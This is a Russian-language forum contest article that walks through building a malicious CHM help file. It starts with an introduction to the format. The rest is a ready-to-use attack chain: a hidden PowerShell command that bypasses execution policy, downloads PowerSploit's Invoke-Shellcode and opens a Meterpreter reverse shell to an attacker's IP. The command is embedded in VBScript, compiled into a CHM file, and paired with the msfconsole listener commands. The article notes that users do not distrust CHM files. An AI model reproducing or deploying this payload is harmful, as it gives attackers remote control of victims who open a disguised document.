Статья для участия в конкурсе Codeby!
В этой статье мы рассмотрим способ создания вредоносных программ в формате CHM.
Давайте познакомимся с ним поближе. HTMLHelp (Comiled HTML Help) - формат файлов, выпущенный корпорацией Microsoft в 1997 году. Сам файл является комплексом сжатых HTML страниц алгоритмом LZX, которые могут хранить в себе вредоносные сценарии на VBScript или JavaScript. Этим мы с вами сегодня и воспользуемся.
Просматривать CHM файлы можно с помощью стандартный средств просмотра Windows, поэтому каких либо больших зависимостей у него нет. Кроме того, этот формат не вызывает беспокойство у пользователей, что также может быть использовано нами. Файлы формата HTMLHelp выглядят вот так:
Для создания HTMLHelp файлов мы будем использовать программу htm2chm. Она позволяет компилировать различные HTML страницы в один CHM файл. Первое, что нужно вам сделать, так это скачать эту программу.
После скачивания, установки и запуска вас будет приветствовать следующее окно:
- Кнопка "Compiler" позволяет скомпилировать CHM файл из HTML страницы.
- Кнопка "Generator" позволяет превратить множество связанных HTML страниц, картинок и видео в один CHM файл.
- Кнопка "Editor" позволяет редактировать CHM файлы.
- Кнопка "Decompiler" декомпилировать CHM файлы.
- Кнопка "Pages" сохранять различные страницы.
Как я сказал выше, CHM файлы состоят из HTML страниц, поэтому, давайте создадим CHM файл для того, чтобы познакомиться с этим форматом поближе.
1. Создаём HTML страницу.
2. Заполняем её HTML кодом.
HTML:
<html>
<body>
<h1>Test</h1>
</body>
</html>
3. Компилируем.
- Запускаем htm2chm.
- Нажимаем кнопку "Compiler".
- В поле "Folder" записываем путь к папке с файлом. Не к самому файлу, а именно к папке. В поле "Title" пишем заголовок файла. В поле "Output" путь с каким именем и куда сохранить скомпилированный файл.
- Нажимаем "Start".
4. После этих действий файл компилируется и автоматически открывается.
Как вы убедились, файл CHM действительно состоит из простых HTML страниц. Мы познакомились с форматом CHM, поэтому давайте теперь перейдём к созданию вредоносного CHM файла, который выдаст нам Meterpreter сессию.
1. Для этого, в скрипте выполним вредоносную powershell команду. Но для этого её нужно сначала собрать.
- Не будем показывать окно командной строки, отключим использование профиля powershell, отключим использование интерактивного режима и разрешим запуск сторонних скриптов. Этого можно достичь с помощью этих опций.
Код:
-w hidden -nop -noni -exec bypass
- Подготовим вредоносную нагрузку. Можно использовать эту нагрузку, которая предоставит нам meterpreter shell. Используем PowerSploit скрипт. Для этого скачаем его и запустим с нужными параметрами.
Код:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force
где вместо 192.168.0.106 и 8007 укажите IP и порт атакующего.
- Соберём команду и она примет следующий вид:
Код:
powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force
2. Подготовим вредоносный VBScript скрипт, который запустит эту команду.
Код:
Set cmd = CreateObject("wscript.shell")
' Создаём объект для выполнения команд
cmd.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force"
' Выполняем команду
3. Сохраняем всё это в один html файл.
HTML:
<html>
<body>
<script language="VBScript">
Set cmd = CreateObject("wscript.shell")
cmd.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force"
</script>
</body>
</html>
4. Комилируем его.
- Запускаем htm2chm.
- Нажимаем кнопку "Compiler".
- В поле Folder записываем путь к папке с файлом. Не к самому файлу, а именно к папке. В поле Title пишем заголовок файла. В папку Output путь куда сохранить скомпилированный файл.
- Нажимаем "Start"
5. Всё. Файл откроется автоматически, поэтому чтобы это предотвратить нужно после компиляции закрыть окно с программой.
Теперь подготовимся со стороны атакующего. Пишем в консоль Kali Linux:
Последовательность команд:
Код:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.0.106
set LPORT 8007
Далее. Запускаем наш вредоносный CHM файл и видим предупреждение безопасности Windows. Это является небольшим недостатком этого метода.
Нажимаем "Да" и видим, что нам прилетает сессия meterpreter.
Ну, на этом всё. Спасибо за внимание!
Участник конкурса может опубликовать неограниченное количество статей, за весь срок проведения конкурса.
Последнее редактирование: